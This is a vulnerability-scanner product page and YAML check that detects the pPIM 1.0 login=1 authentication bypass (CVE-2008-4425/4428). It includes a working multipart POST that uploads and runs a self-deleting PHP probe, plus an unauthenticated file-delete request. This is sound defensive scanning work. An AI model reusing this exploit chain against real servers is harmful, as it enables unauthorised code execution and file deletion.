pPIM — 1 vulnerability check

noctis ships 1 vulnerability check for pPIM, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

pPIM <= 1.0 login=1 authentication bypass — unauthenticated PHP upload and file delete in upload.php

CVECVE-2008-4425, CVE-2008-4428
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/ppim/CVE-2008-4425.yaml

Tests pPIM (Phlatline's Personal Information Manager) 1.0 and earlier for the "login=1" authentication bypass that exposes upload.php to anonymous visitors, where any file can be uploaded (CVE-2008-4428) or deleted (CVE-2008-4425). The test requests upload.php with and without the login=1 parameter: when the parameter turns the login redirect into the upload form, it uploads a one-line PHP file that prints a per-run arithmetic marker and deletes itself, then requests it from the pPIM directory. The computed marker in the reply confirms that the uploaded file ran as PHP code. When only the bypassed upload form is confirmed, a lower-confidence finding is reported and the uploaded test file is removed again through upload.php. When upload.php is absent but Readme.txt reports pPIM 1.0 or earlier, a version-based finding is reported. The /ppim path and the web root are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{base}}/upload.php
  4. HTTP(S) request GET {{base}}/upload.php?login=1
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{base}}/upload.php?login=1 with a crafted body
  7. HTTP(S) request GET {{base}}/noctis{{m.tok}}.php
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{base}}/upload.php?login=1&mode=delfile&file=noctis{{m.tok}}.php
  10. Checks run.body for NOCTIS[0-9]+END → finding QoD 97: pPIM <= 1.0 unauthenticated PHP upload and execution via login=1 bypass
  11. Checks byp.body for (?i)name=["']?submitupload → finding QoD 75: pPIM <= 1.0 upload.php reachable without authentication (login=1 bypass)
  12. HTTP(S) request GET {{base}}/Readme.txt
  13. Parses / computes the next value with a Rhai script
  14. Checks readme.body for pPIM → finding QoD 70: pPIM <= 1.0 installed (login=1 authentication bypass, unauthenticated upload and file delete)

References:

Feed source — tests/vulnerabilities/ppim/CVE-2008-4425.yaml
# pPIM (Phlatline's Personal Information Manager) <= 1.0 — "login=1" authentication
# bypass to the unauthenticated upload.php: arbitrary PHP upload (CVE-2008-4428) and
# arbitrary file delete through mode=delfile (CVE-2008-4425). BID 30627, exploit-db
# 6215 / 8105. The product was abandoned; no fixed release exists.
#
# pPIM checks the login in templates/header.html with a plain GET-variable test: a
# page sends "Location: login.php?login=1" unless the request already carries
# login=1 (the login page's own marker), so any page — upload.php included — is
# served to an anonymous visitor by appending ?login=1. upload.php then stores the
# "userfile" part of a multipart POST (submitupload=submitupload) in the pPIM
# top-level directory under its own name, extension unchecked, and deletes any file
# named in ?mode=delfile&file=<name> (no path check).
#
# Detection (for each candidate base: /ppim, then the web root):
#   1. GET <base>/upload.php and GET <base>/upload.php?login=1 (no redirects
#      followed). The bypass is confirmed when the ?login=1 reply holds the upload
#      form (userfile + submitupload fields) and the plain request either redirects
#      to login.php (pPIM sends login.php?login=1) or serves the form itself (install with no password).
#      Only such a host goes on to step 2; nothing is uploaded elsewhere.
#   2. Real, benign exploitation (QoD 97): POST <base>/upload.php?login=1 a one-line
#      PHP file noctis<tok>.php that prints NOCTIS<a+b>END (the source holds "a+b",
#      never the sum) and deletes itself, then GET <base>/noctis<tok>.php.
#   3. Fallback (QoD 75): only the bypassed upload form is confirmed (the probe did
#      not run). The probe file is then removed through upload.php's own
#      ?mode=delfile&file=noctis<tok>.php — it only ever names the file this test
#      uploaded.
#   4. Fallback (QoD 70): no upload.php, but <base>/Readme.txt names pPIM with a
#      version <= 1.0.
#
# Better than the NASL (2009/pPIM_multiple_remote_vulnerabilities.nasl, which reports
# the Readme version or the presence of the upload form behind ?login=1): the upload
# is actually exercised with a self-deleting computed-marker file, so a pPIM whose
# upload directory does not run PHP is reported at a lower QoD; the bypass needs the
# plain request to be gated (or open) while ?login=1 serves the form; and the Readme
# version is only a last-resort QoD 70 branch instead of ending the check.
#
# CVSS: NVD v2 — CVE-2008-4428 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C), CVE-2008-4425 8.8
# (AV:N/AC:M/Au:N/C:N/I:C/A:C, the issue's score). Each finding carries the score of
# what it proves.
#
# Ported from OpenVAS/Greenbone NVT 2009/pPIM_multiple_remote_vulnerabilities.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100005, GPL-2.0-only).
uid: 9def5a3c-507d-4d48-a8a9-15ecd47ba2db
name: "pPIM <= 1.0 login=1 authentication bypass — unauthenticated PHP upload and file delete in upload.php"
description: |
  Tests pPIM (Phlatline's Personal Information Manager) 1.0 and earlier for the
  "login=1" authentication bypass that exposes upload.php to anonymous visitors,
  where any file can be uploaded (CVE-2008-4428) or deleted (CVE-2008-4425). The test
  requests upload.php with and without the login=1 parameter: when the parameter
  turns the login redirect into the upload form, it uploads a one-line PHP file that
  prints a per-run arithmetic marker and deletes itself, then requests it from the
  pPIM directory. The computed marker in the reply confirms that the uploaded file ran
  as PHP code. When only the bypassed upload form is confirmed, a lower-confidence
  finding is reported and the uploaded test file is removed again through upload.php.
  When upload.php is absent but Readme.txt reports pPIM 1.0 or earlier, a
  version-based finding is reported. The /ppim path and the web root are tried.
cves: [CVE-2008-4425, CVE-2008-4428]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [ppim, php, file-upload, auth-bypass, file-delete, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-4425"
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-4428"
  - "https://www.exploit-db.com/exploits/6215"
  - "https://www.exploit-db.com/exploits/8105"
  - "https://seclists.org/bugtraq/2009/Feb/203"
  - "http://www.securityfocus.com/bid/30627"
  - "OpenVAS/Greenbone NASL 2009/pPIM_multiple_remote_vulnerabilities.nasl (GPL-2.0-only)"

steps:
  # Per-run file name token and arithmetic operands.
  - id: mint
    action: script
    code: '#{ tok: rand_hex(8), a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-sum
    action: script
    code: 'm.a + m.b'
    store_as: sum

  # ── Loop group: every step below runs once per candidate pPIM base ──
  # Pre-initialise every stored result the scripts read (an undefined variable
  # would abort the whole test).
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: null, headers: {}}
    loop:
      over: ["/ppim", ""]
      var: base

  - id: init-byp
    action: set_var
    var_name: byp
    var_value: {status: 0, body: null, headers: {}}

  - id: init-run
    action: set_var
    var_name: run
    var_value: {status: 0, body: null}

  - id: init-readme
    action: set_var
    var_name: readme
    var_value: {status: 0, body: null}

  - id: init-rce
    action: set_var
    var_name: rce_hit
    var_value: false

  # Without login=1 a protected pPIM answers with the login redirect.
  - id: ctl-probe
    action: http_request
    method: GET
    path: "{{base}}/upload.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: ctl

  # With login=1 header.html skips the check and upload.php renders its form.
  - id: bypass-probe
    action: http_request
    method: GET
    path: "{{base}}/upload.php?login=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: byp

  - id: bypass-verify
    action: script
    code: |
      fn has_form(r) {
        let b = r.body;
        if type_of(b) != "string" { return false; }
        let l = tolower(b);
        r.status == 200
          && egrep("name=[\"']?userfile[\"' >]", l) != ""
          && egrep("name=[\"']?submitupload[\"' >]", l) != ""
      }
      let loc = "";
      if type_of(ctl.headers) == "map" && "location" in ctl.headers {
        loc = tolower(ctl.headers["location"].to_string());
      }
      // Gated: the plain request sends the visitor to login.php (HTTP redirect,
      // or a 200 page whose refresh/script points there) without the upload form.
      let open = has_form(ctl);
      let body = if type_of(ctl.body) == "string" { tolower(ctl.body) } else { "" };
      let gated = !open && (
        (ctl.status >= 300 && ctl.status < 400 && stridx(loc, "login.php") >= 0)
        || (ctl.status == 200 && stridx(body, "login.php") >= 0));
      #{ hit: has_form(byp) && (gated || open), gated: gated }
    store_as: xf

  # Benign exploitation: a self-deleting PHP file that prints NOCTIS<a+b>END.
  - id: upload
    action: http_request
    method: POST
    path: "{{base}}/upload.php?login=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "xf.hit == true"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCVE20084428"
    body: "------noctisCVE20084428\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"noctis{{m.tok}}.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php echo 'NOCTIS'.({{m.a}}+{{m.b}}).'END'; @unlink(__FILE__); ?>\r\n------noctisCVE20084428\r\nContent-Disposition: form-data; name=\"submitupload\"\r\n\r\nsubmitupload\r\n------noctisCVE20084428--\r\n"
    store_as: up

  - id: run-upload
    action: http_request
    method: GET
    path: "{{base}}/noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "xf.hit == true"
    store_as: run

  # Executed only when the computed sum comes back (the source holds "a+b", not it).
  - id: run-verify
    action: script
    code: |
      let b = run.body;
      if type_of(b) != "string" { false }
      else { run.status == 200 && stridx(b, "NOCTIS" + sum + "END") >= 0 }
    store_as: rce_hit

  # The probe did not run (and so did not delete itself): remove it through
  # upload.php's own delete action, naming only the file this test uploaded.
  - id: cleanup
    action: http_request
    method: GET
    path: "{{base}}/upload.php?login=1&mode=delfile&file=noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "xf.hit == true && rce_hit != true"
    store_as: del

  - id: rce-match
    action: match
    source: run.body
    pattern: "NOCTIS[0-9]+END"
    condition: "rce_hit == true"
    on_match:
      stop: true
      finding:
        title: "pPIM <= 1.0 unauthenticated PHP upload and execution via login=1 bypass"
        cves: [CVE-2008-4428, CVE-2008-4425]
        cvss: 10.0
        severity: critical
        confidence_delta: 0.65
        qod: 97
        evidence: "Authentication bypass + PHP upload confirmed: POST {{base}}/upload.php?login=1 stored noctis{{m.tok}}.php, and GET {{base}}/noctis{{m.tok}}.php returned NOCTIS{{sum}}END ({{m.a}}+{{m.b}} computed by the server; the file deleted itself)"
        remediation: "pPIM is unmaintained and no fixed release exists: remove the application, or at least block anonymous access to its directory (e.g. web server authentication) and stop the upload directory from running PHP."

  # Fallback: only the bypassed upload form is confirmed.
  - id: bypass-match
    action: match
    source: byp.body
    pattern: "(?i)name=[\"']?submitupload"
    condition: "xf.hit == true && rce_hit != true"
    on_match:
      stop: true
      finding:
        title: "pPIM <= 1.0 upload.php reachable without authentication (login=1 bypass)"
        cves: [CVE-2008-4425, CVE-2008-4428]
        cvss: 8.8
        severity: high
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{base}}/upload.php answered status {{ctl.status}} (login redirect: {{xf.gated}}), while GET {{base}}/upload.php?login=1 served the upload/delete form (userfile, submitupload) to an unauthenticated visitor; the uploaded PHP probe did not run (GET {{base}}/noctis{{m.tok}}.php: status {{run.status}}) and its removal was requested via mode=delfile"
        remediation: "pPIM is unmaintained and no fixed release exists: remove the application, or at least block anonymous access to its directory (e.g. web server authentication)."

  # Fallback: no reachable upload.php, but Readme.txt names pPIM <= 1.0.
  - id: readme-probe
    action: http_request
    method: GET
    path: "{{base}}/Readme.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "xf.hit != true"
    store_as: readme

  - id: readme-verify
    action: script
    code: |
      let b = readme.body;
      let hit = false;
      let ver = "";
      if type_of(b) == "string" && readme.status == 200 && stridx(b, "pPIM") >= 0 {
        let v = eregmatch("Version ([0-9]+)\\.([0-9]+)", b);
        if v.len() == 3 {
          ver = v[1] + "." + v[2];
          let maj = parse_int(v[1]);
          let min = parse_int(v[2]);
          hit = maj == 0 || (maj == 1 && min == 0);
        }
      }
      #{ hit: hit, ver: ver }
    store_as: rv

  - id: readme-match
    action: match
    source: readme.body
    pattern: "pPIM"
    condition: "rv.hit == true"
    on_match:
      stop: true
      finding:
        title: "pPIM <= 1.0 installed (login=1 authentication bypass, unauthenticated upload and file delete)"
        cves: [CVE-2008-4425, CVE-2008-4428]
        cvss: 8.8
        severity: high
        confidence_delta: 0.45
        qod: 70
        evidence: "GET {{base}}/Readme.txt reports pPIM Version {{rv.ver}} (all releases up to 1.0 are affected; no fixed release exists); upload.php itself did not show the bypassed upload form"
        remediation: "pPIM is unmaintained and no fixed release exists: remove the application, or at least block anonymous access to its directory (e.g. web server authentication)."

View these feeds on GitHub